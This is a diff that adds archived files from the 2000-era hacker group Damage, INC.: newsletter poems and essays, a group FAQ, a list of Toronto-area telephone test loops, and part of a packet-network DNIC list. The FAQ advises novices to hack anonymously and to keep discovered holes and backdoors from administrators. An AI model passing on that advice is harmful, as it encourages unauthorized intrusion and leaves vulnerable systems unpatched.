you live your lives +questioning every move you make and everything that you do and everything that +you are? Do you want to live in conformity? Do you want to constantly question +whether you measure up to expectations of others, or not? Do you want to worry +and fear everything? Do you want to live in the past and regret everything? +Do you want to dream and wish everything were different? Can you not accept +certain things as they are, get over it, move on, and live with it? Do you see +yourself as being not good enough? Stay away from me then... + +Written by Helena3 / Damage, INC. (C)opyright 2000. + + +HERD and TIME + +Psychedelic red, seeps from guzzling +ravenous mouths. +Leeches give suck with eyes of contempt. +Tired warriors on 'Nam trip. +Black sun on the rise. +Life-wish mistress lost +HERD drains, +HERD fails the immaculate warrior +Mistaken birth cry +The warriors are lost +Fatigued, air cover, death +HERD bites +The Lions cry forever +The cauldron awaits, deep black vat +My baby's dead or life spent. +I need the serpent +or the butterfly +For no-one can stop the leeches +Help +HERD + +Written by El Nino (elnino@disinfo.net) + + +Im gonna chop my dick off +Holding back +Patsy wedding ring upgrades +And free kiddy colling emotional handbags +Holding back +Holding back my contempt for my passive mass appeal parents +Up a plastic elevator with pine needles from the southern mountain +But im on a new revolutionary diet dig +Out of the sun came a cold child armed with eyes and spline +While the elevator waits next door of my genetic depositions for destruction +And destruction it shall be +And the sun is constantly put on rewind +Forever in the death posture +Like the serpent Kali +I recover from you with aching spleen +Creeping always behind me +Like that hash smoking french guy +Aching for paris and a free uni +My wand vomits hate and special whispers from the sunken ones +Those old bastards owe my hands a fart +Paris paris in woolen black bone batches +I need something to sup during these cold datapocalyptic nights +Like eggs of grapes waiting to be hatched +Im a super super cyborg now +Saluting every idolistic calf +Spin a pentgraph in the face of a roman and his wine sleeps thought he crimes +Cant relate +Everything relates in this hyper real cyber space +Cmon trip +DOM!! Balisst!! + +i OMPEDA!! +Let the grammatical libido flow and fuck the data +Real slow like, groc +And the grok giver said "the math is in your head" +chill the spins me and you spinner boy and girl and cyborg cyborg +latter and the former +not the middle +like right angled massages given for a buck and change over there at the junk +yard unit +al right +chillin now word up to the karma cops who keep my sleen clean +ladies too busy organizin +im just flying +organ-izing an d realizing that dreams are are warfare +IAO my sweet jesus;look at magdalene speak!!! +Dreams are mine +Ill psychicly rewind all past confessions +Leaving little time for second guessing +Aye! YEA and verify! +That I am the one with the matrix sunglasses +Do it then +Sold by rayban of course +High class glasses +Cab spit climbing steed, ye maketh me to lie down in ocean +Cha-ching alla ca zammie and a merry christ kiss this + +I io +O informa +O informate my cranium ye ol bastard son +Spinner kill the addiction with all impunity +And lysol? +Im so in love its not funny +Can cybernetic transcendence occur these daze +? +lets find out in this ancient new type of intersection kids +triple drop me a line sometime +interstitial foam baroques the runnels +but only if you are a chick of course +while the tunnels soak locked up spirits bleeding them for commodity +lo,l chick but so into someone already +cool and not but fuck it then hugh +I need a new type of syringe to bleed into and splatter on the wall of my mind +My blooooood +Beautiful blue blood +IM SUCH A CATHARSE-hole sometimes +He is so wonderful too +Why that girl of the gun +Just is..everything about him +Bring this web talk in your direction +So sweet +Ok +So real +Sure +Uh huh +Yes im sure +Im listening + +Written by El Nino (elnino@disinfo.net) + + +Propagandize. + +I'll give ya the low down... +We're takin' it to the streets. +Puttin' the power back in the hands of the p33ps. + +You know what I'm talkin' about? +You know what I'm sayin'? +Now it's time to get serious. Time you all quit playin'. + +I'll give ya the straight facts. +So we can bring it all back. +Better act now so we can get on fucking track. + +Get your act together. +And quit hittin' that pipe so hard. +Yer mind is all you've got left. Last card. + +I'm tellin' ya not to just sit back. +Don't just react. +Get up. Ya gotta go on the attack. + +Power to the people. Ya hear me? +Fuck man, don't phear me. +You gotta listen to this. Open yer eyes and see. + +This ain't no showdown. I'm givin' you the low down. +Dude don't let em mess you up. +Fuck your mind and make you all soft like a pup. + +You gettin' any of this shit? +You ain't down? +Fuck partner... you better step out and split town. + +This ain't all that hard to get. +So don't sit there bein' a fuckin punk. +This shit's as easy as seizin' a trunk. + +Big Bro will fuck yer mind with propaganda. +He'll hit ya hard with it below the belt in the junk. +So you better prepare or yer ass will be missin' a phat chunk. + +You gonna just stand there like a chump? +He's bringin' this shit right in yer face... +Beaming fuckin' Sat messages down all over the place. + +It's a disgrace. You gonna take that shit? +You gonna believe the propaganda from space? +Don't just front. Yer already losin' this race. + +It's fuckin' you up. Man, if only you knew. +Get off yer fuckin' ass and start doin' somethin' bout it. +Or you already brainwashed by this shit? + +It's all goin' down now. Ya dig? +All this shit is gettin' worse man. Final chance. +No more playin'. Run like a punk or dance. + +This is the last fuckin' shot. +Brotha it's now or never. You gotta fight or die. +I ain't gonna lie. + +Do whatever the fuck ya want. +I can't tell ya what to do. You gotta choose. +I'll say this though... You back up and you lose. + +If yer runnin' for back already, you just wait. +Roll over and die. You'll soon be 0wned. +Don't think I havta tell ya. You'll soon be shown. + +Bought and sold. Influenced like all hell. +It's do or die time. It's all on the line now. +What? I gotta fuckin' show you what do do and how? + +Written by THC Phreak / Damage, INC. (C)opyright 2000. + + +Big Brother Matters. + +So close, no matter how far +Couldn't tear much more lives apart +Forever changing who you are +And we're all that matters. + +Never exploited your mind this way +Life is ours, you live it our way +Bow down on your knees when I say +And the establishment matters. + +Followers I seek and I find in you +Every day for us wealth renewed +Close your minds for a different view +And Big Brother matters. + +Never cared for what they do +Never cared for what they know +But we know. + +So ours, no matter how far +Couldn't steal much more from your heart +Forever creating who you are +And the NWO matters. + +Never cared for what you do | Never cared for what zombies do +Never cared for what you know | Never cared for what zombies know +But we know. | But we know + +Never exploited so many minds this way | Never destroyed so many minds this way +Your life is ours, you live it our way | You're ours, you live life our way +All these words we don't just say. | Your only duty is to obey + +Zombies I seek and I find in you | Naive minds I seek and I find in you +Every day we control something new | Every day for us abusing you +Close your minds for a different view | Fuck your minds for a different view +And the WTO matters. | And Big Brother matters. + +Never cared for what zombies say | Never cared for what slaves say +Never cared for games they play | Never cared how much they pay +Never cared for what they do +Never cared for what they know +And we know. + +So owned, no matter how far | So fucked, no matter how far +Couldn't take much more from your heart | Couldn't rip much more from your heart +Forever raping who you are | Forever changing who you are +No nothing else matters. | No you don't matter. + +Notes: This is a song modelled after Metallica's "Nothing Else Matters". +Obviously, I've modified the lyrics significantly. But that's the style it +has been written in. Music inspires. I've included alternate (alternative?) +lyrics for some of the stanzas and marked them beside. It was written in a +very short amount of time, but I still think it's cool and carries meaning. + +Written by Blackie Lawless / Damage, INC. (C)opyright 2000. + + +CLOSING COMMENTS - {CLOSING} + +"Propaganda is the tool of choice for all oppressive regimes, governments, +corporations, organizations, agencies, groups and cults... including the ones +that exist in the red coloured nation of Canada." - BLACKENED + +In reality, propaganda surrounds us. We're completely immersed in it and +enveloped by it, everyday. To say that distinguishing between "good" propaganda +and "bad" propaganda can always be done wouldn't just be unrealistic. In many +cases, it's extremely difficult, if not impossible, since the nature and +intention of propaganda is to get a message across without it being overtly +noticeable. At least, that's how it is supposed to work. And so the best type +of propaganda is the stuff you read, and you don't even realize that there's a +hidden motive behind it. It doesn't even take a master propagandist to pull +that off either. All it really requires is an almost innate ability to know how +other people will react to something. Sure, it's a skill. But it's one that can +be developed over time through practice. Public relations, spin, marketing and +advertising firms, it's all being done by them on a daily basis. + +The Damage, INC. Newsletter has been described as being controversial, +anarchistic and radical, among other things. People either love it, or they +hate it. And that's great. Indifference isn't what we're after. And, +they have their own reasons for feeling the way they do. We want people to +form their own opinions, instead of merely taking the easy route by agreeing +with and accepting everyone else's. Whether you agree or not isn't the point. +The real point of it all is to make people stop and think. It's about forcing +people to view things from another perspective, open their minds, consider +other ideas, theories, beliefs, ideologies, viewpoints. It is also about +spreading raw information and allowing our readers to disseminate it themselves. +We have faith that our readership is intelligent enough to do that. Rather +than assuming you are all hopeless, pathetic, mindless zombies, we take the +view that if you're reading this zine, you must be an open minded person with +the desire to read something original. In other words, people that aren't +seeking the ordinary, mundane shit and propaganda that's constantly being +proliferated by the mass media. Those are the readers that we seek. + +In my humble opinion, this zine has been forever changed for the better. It +still provides truth. It still offers interesting, useful information related +to technology. It still contains the core of what it was built on. And most +of all, it's still put together by a group of people that are dedicated to +educating and informing others. Sure, we've changed. But evolution is a good +thing. It means we aren't stuck in a rut, admiring what we've done in the +past and stagnating. It means we're moving forward instead of looking backward. +It doesn't mean we're going to become careless and neglect to watch our backs +though. Looking over our shoulders is innate. It's as natural an instinct to +us as breathing. + +This issue did contain many more creative articles than I expected. And the +change in content wasn't as drastic as I had predicted. However, in the next +issue, there will be many more tech oriented articles included... + +Now, more than ever, I believe that we're keeping people honest. Not just our +readers, but the companies that we report on as well. By keeping you honest, +and knowledgeable, they're kept honest in the process by default. So, it does +make a difference. In fact, what we're doing can make a tremendous difference. +Our approach isn't the same as other groups, and the results may not be as +visible and obvious, but they are effective nonetheless. Every revolution +starts with one man, and a single idea. From there it's a matter of how far +people are willing to take it. And we'll take things as far as we can. + +Thinking about, and fighting against greed, corruption, oppression, etc. can +sometimes be depressing. It's a daily struggle. It's a time consuming effort. +But any worthwhile cause requires dedication. We'll approach things with the +same energy and vigor as we do with everything else. We won't be denied. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Holiday Endorsements: + +"Nothing goes with a can of yams and some eggnog like Damage, Inc. 'zine!" +- G. Ratte'/cDc + +"Damage Incorporated - a badass Canadian zine so hardcore that it's banned in +r0y, New Mexico! Imagine that. But that's not all folks. These dudes are so +old sk00l, they make Big Larry look young. Plus, I heard they really pissed off +Carolyn Meinel." - RedBoxChiliPepper (PLA) + +"Damage Inc., not only does it have a nasty site. +It has probably the most Raw, Informational, NO bull-shit E-Zine. +Plus if you take the amage from Damage Inc it spells DInc!" +- Phist (SHAO Canada) + +"Damage Incorporated and Nettwerked are the best damn phreaking sites in +Canada. Kiss our asses, fuckers!" - The Clone (Nettwerked/Hack Canada) + +"Entropy mixed with pure, unfettered madness in text format. What more do +you fucking want?" - Charles Forbin + +--- + +URL: http://surf.to/damage_inc +Email: damage_inc@disinfo.net + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.faq b/textfiles.com/groups/DAMAGEINC/damage.faq new file mode 100644 index 00000000..ea40753f --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.faq @@ -0,0 +1,382 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Damage, INC. FAQ v1.20 + "Frequently Asked Questions" + http://surf.to/damage_inc + Written by BLACKENED + Last Updated 03/13/00. + +Preface: + +The intention of this Damage, INC. FAQ is to educate and inform its readers +about Damage, INC. as well as our releases and various other projects. It does +not contain specific information on h/p, our members, our activities, everything +else that we are involved in etc. No future versions of this FAQ will contain +that type of information either. Therefore, if that's what you were hoping to +find out, I suggest you look elsewhere or hire a private investigator to do the +job for you. It only contains the information that is needed. I also hope that +this FAQ clears up any misinformation/disinformation that exists concerning the +group affectionately known as Damage, INC. and dispels the rumours and myths. + +If you read this entire FAQ and you have some intelligent questions relating to +Damage, INC. that you want to ask, contact us. We'll try to answer any relevant +questions that are asked. + +The reason that I decided to write and release a Damage, INC. FAQ was out of +necessity, not due to laziness or the pursuit of fame. Basically, it can become +really annoying having to constantly answer the same questions. Thus, I finally +made the decision to create this small FAQ and publicly respond to the +Frequently Asked Questions in order to eliminate the majority of Email that I +receive and reply to. Replying to repetitive messages isn't a very enjoyable +experience to say the least. Hopefully, this FAQ will solve that problem and +alleviate the need for these questions to be asked again and again. ;) + + +Frequently Asked Questions: + + +What is Damage, INC.? + +Damage, INC. is a diverse group of individuals that have many talents. We +are involved in the h/p scene, exchange information and share knowledge. Some +Damage, INC. Members also program utilities, viruses and trojans. The group +itself was founded by BLACKENED in 1993. It was formed for the purpose of +joining enlightened minds together, strengthening their existing skills and +abilities and developing new ones in different areas. Everyone has varying +levels of experience in a different aspect of h/p, thus those in Damage, INC. +have greatly benefited from their involvement in the group. We've been +dedicated to programming and releasing useful utilities, text files, and +information through the Damage, INC. Newsletter etc. for a relatively short +amount of time in comparison to some other respected and established groups. +However, we don't measure our contribution to the h/p scene in years, nor do +we ever put quantity above quality. I can assure you that quality is paramount +to Damage, INC. Nothing else is considered to be more important than producing +quality releases. That'll never change as long as the group exists. + +We intend to fight against the greedy, the corrupt, Big Brother, the politically +correct, big monopolizing corporations, the political fat cats, the affluent, +the unfair and enslaving laws, the followers (zombies), the misinforming and +lie ridden mass media, censorship, the conspiracy filled government, the +misinformed, ignorant lamers and most of all those that go with the grain and +joyfully support all that is classified as being "society" until the end. +Conformity and mainstreamness is a disease. We expect it to be a long, bitter +battle with many casualties. Personally, I believe that it's a fight worth +fighting and I'm willing to die for the cause. Afterall, freedom is not free. +And "the system" doesn't give a fuck about individuals, but they despise groups +such as Damage, INC. and label them "gangs", "corrupt organizations" etc. In +their eyes (law enforcement, prosecutors, the public) we are nothing more than +common "criminals" merely because of our thirst for knowledge. They stereotype +us as being power hungry, bragging, boasting, teenagers that use computers and +modems to commit federal crimes that are well beyond normal teenage mischief. + +They automatically assume that the majority of hackers/phreaks are white, middle +classed, male teenagers that are obsessed with computers or have nothing else +better to do. Yet, they don't know who we are, or what we are about. In fact, +I honestly believe that *they* don't want to know. And that is where their own +logic fails and where their fault lies. They act the same as each other, and +are the ones that are always attempting to classify us (hackers and phreaks) as +all being the same. They try to portray us as all being "computer terrorists" +with too much free time. Meanwhile, if that were true, if we were all the same +then they'd have absolutely no trouble predicting our every move, by following +a profile or simple behavioral pattern until they could organize and execute a +massive crackdown on the entire underground. The busts of "Operation Sundevil" +in 1990 would look small and insignificant in comparison. That is, they'd do +that *if* it were that easy to accomplish such a wide spread crackdown on all of +the h/p boards and groups. Obviously, "the system" doesn't know as much about +us as they so proudly, boastfully claim they do. Is "the system" not guilty of +stereotyping and overly-generalizing in order to spread panic, fear and profit? +Yes, they most definitely are in my opinion. Don't allow them to manipulate +the truth. Damage, INC. wasn't formed out of boredom like they suggest. It +wasn't created for purely malicious purposes, to scam or ripoff poor, innocent +people by means of carding, telephony etc. We don't blatantly flaunt and brag +about what we've done. We're simply on an honourable quest for knowledge. +Thus far, it has been an interesting and enjoyable journey. + +More than anything else, this world needs more freedom fighters that will +voluntarily wage war against that which they are against or don't believe in. +Use technology to your advantage. Communicate, exchange information, and +exercise your rights such as freedom of information. That single word which is +so very eloquent, carries great importance and meaning can also be used to +efficiently describe Damage, INC. That word is freedom. It should not be lost +or forgotten. I suggest that you learn its true meaning and apply it to every +area of your life, not just the portion that involves h/p. All forms of +enslavement should be banned. Experimenting and learning is innocent and +shouldn't be discouraged or "illegal". Freedom should be practiced and included +in every aspect of life, because in reality it's what makes life worth living. + +If we are able to succeed in opening some closed minds and provoking thought in +our readers, then we've achieved our goal. If our opinions, ideas and +perspectives are considered and respected by our loyal readers, then perhaps +that's the most we can ask for. I would be satisfied if that became the only +lasting legacy of Damage, INC. Lastly, we politely ask that you refrain from +forming opinions or making any assumptions concerning Damage, INC. until +you've at least thoroughly read this entire FAQ, along with the issues of the +Damage, INC. Newsletter that we've released. + + +What is the Damage, INC. Newsletter? + +The Damage, INC. Newsletter started as a fairly small monthly h/p zine. +It has evolved and grown since its humble beginning in August 1997, which +was the month before the first issue was released. At the end of that summer, +I started to think seriously about releasing a newsletter since the local h/p +scene was dying and I felt that it could generate some interest, at least in +this area. I then discussed my idea with Shatazar, Blackie Lawless and a former +member called The Journalist. After planning and sharing some ideas with each +other about what it should be about, we began writing articles and decided to +release the first issue in September 1997. The original sections were created +and everyone was enthusiastic about our new undertaking. It was clear to us +early on that improving distribution to other area codes was a priority. Thus, +I began contacting people, searching for potential Damage, INC. Distribution +Sites etc. Since then, we've added several new sections (some of which were +suggested by our readers) and the Damage, INC. Newsletter has overall been +improved. But I can't accurately describe "what it is" in a single paragraph. +The best way to learn what the DIN is all about is to read through the issues +that have been released thus far, since each issue has its own theme and is +unique. Our intention was never to compete with any of the established +publications, nor was it to prove ourselves. Basically, we just wanted to +publicly express our views, share some information, techniques, knowledge and +experience with our readers. Our main goal was to get people to think about +things and become actively involved. In that, I believe we have been +successful. That in itself is an achievement. + + +What is Blamerica Phreaky Industries? + +Blamerica Phreaky Industries is actually part of the group Damage, INC. +It was started by Blackie Lawless and BLACKENED as a "scanning division". +However, it was never meant to be serious. In fact, it was never more than an +inside joke, rather than an actual group. Nevertheless, it spawned the Phreaky +Field Phreaking List, which is definitely a worthwhile project. Anyway, the +origin of the name is a spoof of the television show, Seinfeld's Kramer +character's 'Kramerica Industries', and L0pht Heavy Industries combined. We +took those names, the first three letters of our aliases, replaced Heavy with +Phreaky, and voila... there you have it -- Blamerica Phreaky Industries was +born. ;) + + +What is the Phreaky Field Phreaking List? + +The Damage, INC. Phreaky Field Phreaking List is a large compilation of numbers +that were collected through various means. It is, without a shadow of a doubt, +the phreakiest damn list in existence today. It contains an extensive array of +toll free numbers to everything from telcos, computer companies, to test numbers +and payphones. If you're a field phreak, or you've been looking for certain +numbers and can't find them, this list is definitely what you need. It also +includes handy International Codes and NPA references that are updated with each +new edition released. + + +What are the Damage, INC. Utilities? + +The Damage, INC. Utilities are a collection of utilities that were +programmed by us and released freely for anyone to use. Certain utilities +were requested by people, while others were created because any existing +similar utilities were lacking features or didn't do the job. So, instead of +continuing to use inferior utilities, we decided to program small, fast, +utilities that are superior in our opinion. They were all tested extensively +on several different systems. The "NUKE series" is a set of utilities that +we're very proud of, as their usefulness has been demonstrated to many people. +If you would like to become a Beta tester, contact us. + + +What other projects/activities are Damage, INC. involved with? + +Damage, INC. is always working on new projects. Therefore, even though this +particular question is often asked, answering it in this FAQ would instantly +condemn the answer to being outdated and obsolete. + +As for other activities, obviously hacking/phreaking are prominent. Other than +that, we're trying to promote h/p, raise awareness and help newbies that are +willing to learn. My answer has been intentionally vague since I don't want +to discuss any specific things that we're involved in. But you can be sure that +we're always scanning, trashing and adding numbers to the Phreaky Field +Phreaking List. ;) + + +What is scanning? + +Scanning takes many forms and can mean several different things. There's +frequency scanning, port scanning, carrier scanning, local and toll free +scanning, hand scanning, etc. The form of scanning that I normally engage in +is called hand scanning, or manual scanning. It's the process by which someone +manually dials a set of numbers in order to identify them and record the results +of their findings. By doing this, you find numbers to things that you otherwise +wouldn't, or couldn't find. And it's all very interesting. ;) + + +How do I apply to join Damage, INC. as a Member/Writer? + +Contact us via damage_inc@disinfo.net. If possible, send an article with +the message if you're applying to become a Damage, INC. Writer. Most +Damage, INC. Members are invited to apply for membership. In other words, they +are people that are already known by us. However, anyone that's interested in +h/p and wants to contribute to the group can apply. Just don't expect to be +accepted. + + +Does Damage, INC. have a web site? + +Yes, the URL is http://surf.to/damage_inc and a mirror is www.phreakiest.com +The Damage, INC. Newsletter issues can also be downloaded from +http://morehouse.org/hin/din/ + + +How can Damage, INC. be contacted? + +You can contact Damage, INC. via Email at damage_inc@disinfo.net +Any article submissions, comments, suggestions and questions should be sent to +the above address. Credit is always given to the author for any articles, +information or source code that's submitted and subsequently published. +BLACKENED can be contacted via blackened@disinfo.net or blackened@phreakiest.com + +You can send us voice mail via Damage, INC.'s VMB by dialing 1-800-222-6000, +Box "NUKE YOU". + + +How can I join the Damage, INC. Newsletter mailing list? + +If you want to be added to the Damage, INC. mailing list in order to receive +updates, news about releases and be notified whenever a new issue of the DIN is +available to download, visit our web site's main page and join. This is a low +volume mailing list. + +We won't spam you and fill your Inbox with useless shit either. If you join, +expect to receive about two or three update messages per month, maximum. + + +Closing: + +Damage, INC. is continually re-inventing itself, evolving and changing. +We always want to remain creative and don't want to get stuck in a rut doing +the same things. The pursuit of knowledge is how it all began, and it is +what continues to lead the group into the future. That direction is critical. +Damage, INC. doesn't want to lose sight of our goals as a group. We are +motivated and inspired by the comments made by our readers. We're committed +to excellence. Damage, INC. isn't content with what we've done thus far, +although we do believe that we've released some quality material. We won't be +deterred from achieving our goals and accomplishing what we set out to do. + +We aren't all "malicious hackers". We are only interested in harmless +exploration. What crime is in the pursuit of knowledge? Is learning now +a crime? Are we anti-establishment or are they anti-knowledge? That's a +question that you'll have to ask yourself...and find the answer to on your own. + +Some of the most intelligent, brilliant, creative, free thinkers that I've +ever met have been in the h/p scene. They're skilled innovators, willing to +exchange information... learn, teach and increase knowledge and awareness. +They aren't concerned about their image or reputation. They don't care what +"society" thinks of them. They aren't ego driven. Their thinking isn't limited +to the constraints of what they are told to believe. They don't want to be +idolized and praised. They don't pretend to be role models. They are +themselves, genuine and real. They aren't what "society" perceives them to be. +They aren't stereotypical "hackers", like fictional characters right out of a +typical Hollywood movie. They are very unique, inspirational people. Many of +them enjoy teaching others and passing their knowledge down to newbies that are +just entering the h/p scene. However, they aren't hand holding, spoon feeding +babysitters that will give you all of the answers. + +Nothing is unthinkable. Embrace the true reality and meaning of h/p. Explore +your mind. You're capable of ideas that have never been thought. Become humble +and let your humbleness guide you. Don't give in to the oppressive +establishment. Don't ever become one of them. + +Once I reach a state of paranoia, and it's no longer an enjoyable experience, +then I'll officially "retire" from the h/p scene. Until then... never pass +judgement on anyone based solely upon what you perceive them to be. Your own +perception can be clouded. Remember to always keep your friends close, but +keep your enemies closer. I hope these words have made an impression upon you. + + +Words of advice for novice hackers/phreaks: + +Don't start off trying to attain a certain level as a hacker or phreak. You +have nothing to prove and nobody to impress, except yourself. You should only +h/p for information, knowledge purposes and your own gratification. If you +achieve and discover amazing things then that's something you can be proud of +without bragging about it. Just as, if you painstakingly develop your own +techniques, find holes and backdoors in non-default systems etc. then don't +alert anyone (sys admins and the like) that can and will quickly disable/fix/ +patch them by posting publicly about it. Be wise, cautious, stealthful and +always hack/phreak safely in anonymity. Always remember that experience alone +and by itself won't prevent you from getting busted. + +If you aspire to become a hacker/phreak, don't just read text files, put what +you've read and learned into practice. Become involved in the h/p scene and +evolve into an enlightened, advanced, revolutionary. If you're already an +experienced hacker/phreak then contribute towards its growth by sharing your +knowledge with newbies. + + +Interesting Quotes: + +"Imagination is more important than knowledge." - Albert Einstein + +"Maybe I should've killed four or five hundred people." +"I don't kill people. I *think* it." - Charles Manson, in parole hearings. + +"I don't know what's gonna happen man, but I wanna have my kicks before the +whole shithouse goes up in flames." - Jim Morrison, while he was on stage +during a concert. + +"Turn on, tune in, drop out." - Timothy Leary + +"You see, you brought ya bunch of guys out here and you killed some of my +children, We told ya we wanted to talk. How come you guys try to be ATF +agents? How come you try to be so big all the time? Now there's a bunch of +us dead. There's a bunch of you guys dead. Now, now that's your fault." +- David Koresh, during the standoff in Waco, TX. + +"The Industrial Revolution and its consequences have been a disaster for the +human race." - Theodore Kazcinski (Unabomber's Manifesto) + +"I think there is a world market for maybe five computers." +- Thomas Watson, chairman of IBM, 1943 + +"But what ... is it good for?" +- Engineer at the Advanced Computing Systems Division of IBM, 1968, commenting +on the microchip. + +"There is no reason anyone would want a computer in their home." +- Ken Olson, president, chairman and founder of Digital Equipment Corp., 1977 + +"I am only a patsy." - Lee Harvey Oswald + +"We need some patriots in this country, not people trying to make a name for +themselves, trying to expose some drug runners, because those are just the +bag-men. The real crook is in the White House!" - Milton William Cooper + +"What happened to Randy Weaver can happen to anybody in this country." +"This is a murder case, but the people who committed the murder are not here +in court." - Gerry Spence + +"This 'telephone' has too many shortcomings to be seriously considered as a +means of communication. The device is inherently of no value to us." +- Western Union internal memo, 1876. + +"Everything that can be invented has been invented." +- Charles H. Duell, Commissioner, U.S. Office of Patents, 1899. + +"Cypherpunks: These people think a good way to bollix "The System" is +through cryptography and cryptosystems. They believe widespread use of +extremely hard-to-break coding schemes will create "regions of privacy" +that "The System" cannot invade." - Erich Schneider + +"Don't you see that the whole aim of Newspeak is to narrow the range of +thought? In the end we shall make thoughtcrime literally impossible, because +there will be no words in which to express it." +- George Orwell's book 1984. + +"For some people, this freedom is the very breath of oxygen, the inventive +spontaneity that makes life worth living and that flings open doors to +marvellous possibility and individual empowerment. But for many +people -- and increasingly so -- the hacker is an ominous figure, a smart aleck +sociopath ready to burst out of his basement wilderness and savage other +people's lives for his own anarchical convenience." +- Bruce Sterling, from his book The Hacker Crackdown. + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damloops.txt b/textfiles.com/groups/DAMAGEINC/damloops.txt new file mode 100644 index 00000000..899df2c8 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damloops.txt @@ -0,0 +1,58 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 416/905 Loops Listing + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Information: + +All of these loops were found by us through scanning 416 and 905 exchanges. +They were scanned and verified during April 2000. Unless they are heavily +abused, most of them should last a very long time. This list will be updated +infrequently. We'll add loops whenever we find time to scan exchanges in these +and other NPAs. If you find a loop, bridge, ringback, ANAC, other test numbers, +strange recorded messages, or anything else interesting, contact us. Enjoy. ;) + + + Low End High End Low End High End + ------- -------- ------- -------- + +(416) 204-1186 (416) 204-1187 (905) 206-1186 (905) 206-1187 +(416) 205-1186 (416) 205-1187 (905) 238-1186 (905) 238-1187 +(416) 239-9024 (416) 239-9026 (905) 257-1186 (905) 257-1187 +(416) 286-1186 (416) 286-1187 (905) 262-1186 (905) 262-1187 +(416) 340-1186 (416) 340-1187 (905) 271-1186 (905) 271-1187 +(416) 343-1186 (416) 343-1187 (905) 276-1186 (905) 276-1187 +(416) 345-1186 (416) 345-1187 (905) 278-1186 (905) 278-1187 +(416) 350-1186 (416) 350-1187 (905) 279-1186 (905) 279-1187 +(416) 361-1186 (416) 361-1187 (905) 295-1186 (905) 295-1187 +(416) 440-1186 (416) 440-1187 (905) 335-1186 (905) 335-1187 +(416) 530-1186 (416) 530-1187 (905) 403-1186 (905) 403-1187 +(416) 581-1186 (416) 581-1187 (905) 475-1186 (905) 475-1187 +(416) 586-1186 (416) 586-1187 (905) 477-1186 (905) 477-1187 +(416) 590-1186 (416) 590-1187 (905) 522-1186 (905) 522-1187 +(416) 593-1186 (416) 593-1187 (905) 542-1186 (905) 542-1187 +(416) 595-1186 (416) 595-1187 (905) 568-1186 (905) 568-1187 +(416) 597-1186 (416) 597-1187 (905) 625-1186 (905) 625-1187 +(416) 599-1186 (416) 599-1187 (905) 660-1186 (905) 660-1187 +(416) 620-1186 (416) 620-1187 (905) 669-1186 (905) 669-1187 +(416) 633-0033 (416) 633-0334 (905) 670-1186 (905) 670-1187 +(416) 661-1186 (416) 661-1187 (905) 680-1186 (905) 680-1187 +(416) 690-1186 (416) 690-1187 (905) 725-1186 (905) 725-1187 +(416) 730-1186 (416) 730-1187 (905) 737-1186 (905) 737-1187 +(416) 777-1186 (416) 777-1187 (905) 770-1186 (905) 770-1187 +(416) 860-1186 (416) 860-1187 (905) 795-1186 (905) 795-1187 +(416) 863-1186 (416) 863-1187 (905) 820-1186 (905) 820-1187 +(416) 865-1186 (416) 865-1187 (905) 825-1186 (905) 825-1187 +(416) 868-1186 (416) 868-1187 (905) 830-1186 (905) 830-1187 +(416) 972-1186 (416) 972-1187 (905) 845-1186 (905) 845-1187 +(416) 973-1186 (416) 973-1187 (905) 875-1186 (905) 875-1187 +(416) 982-1186 (416) 982-1187 (905) 890-1186 (905) 890-1187 + +This list is courtesy of BLACKENED and Helena3.ÿÿÿ diff --git a/textfiles.com/groups/DAMAGEINC/dnic.txt b/textfiles.com/groups/DAMAGEINC/dnic.txt new file mode 100644 index 00000000..04584981 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dnic.txt @@ -0,0 +1,450 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Data Network Identification Codes + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +The following list of PSNs and their corresponding DNICs was obtained from the +Datapac Information Service (DIS) which contains Datapac information and news. +It provides information to anyone that wants it, free of charge. To connect to +DIS, first call a Datapac local dialup and press "..." after the +connection has been established. Then type "9210 0086" and soon you will be +connected to DIS. From there, the commands are simple to use and online help +is available from any menu. + +A comprehensive list of the International Packet-Switched networks which are +accessible via the Datapac-Teleglobe gateway is provided below. +It is current as of 1998 10 07. + +Enquiries on any of these networks may be directed to the Datapac Customer +Assistance Centre at 1-800-267-6574. +------------------------------------------------------------------------------- + DATED OCT 98 + + +COUNTRY NETWORK DNIC +------- ------- ---- +ALGERIE DZ PAC 2135 +ANDORRA ANDORPAC 2135 +ARGENTINA TELINTAR 7221 + ARPAC(ENTEL) 7222 + EASYGATE(ATT) 7223 +ARMENIA ARMPAC 2830 +AUSTRALIA AUSTPAC 5052 +AUSTRALIA OTC 5053 + AAP TELECOMMUNICATIONS 5054 + AUSTRALIAN PRIVATE NETWORKS 5057 +AUSTRIA DATA SERVICE 300 B/S (DATEX, L300) 2321 + PACKET SWITCHED DATA SERVICE (DATEX-P) 2322 + TELETEX SERVICE 2323 + CIRCUIT SWITCHED DATA SERVICE (DATEX-2400) 2324 + CIRCUIT SWITCHED DATA SERVICE (DATEX-4800) 2325 + CIRCUIT SWITCHED DATA SERVICE (DATEX-9600) 2326 + PACKET SWITCHED DATA SERVICE OF RADIO AUSTRIA + RADAUS 2327 +AZERBAIJAN AZPAK 4001 +BAHRAIN BAHRAIN MANAGED DATA NETWORK (MADAN) 4260 + BAHRAIN MANAGED DATA NETWORK(MADAN) 4262 + 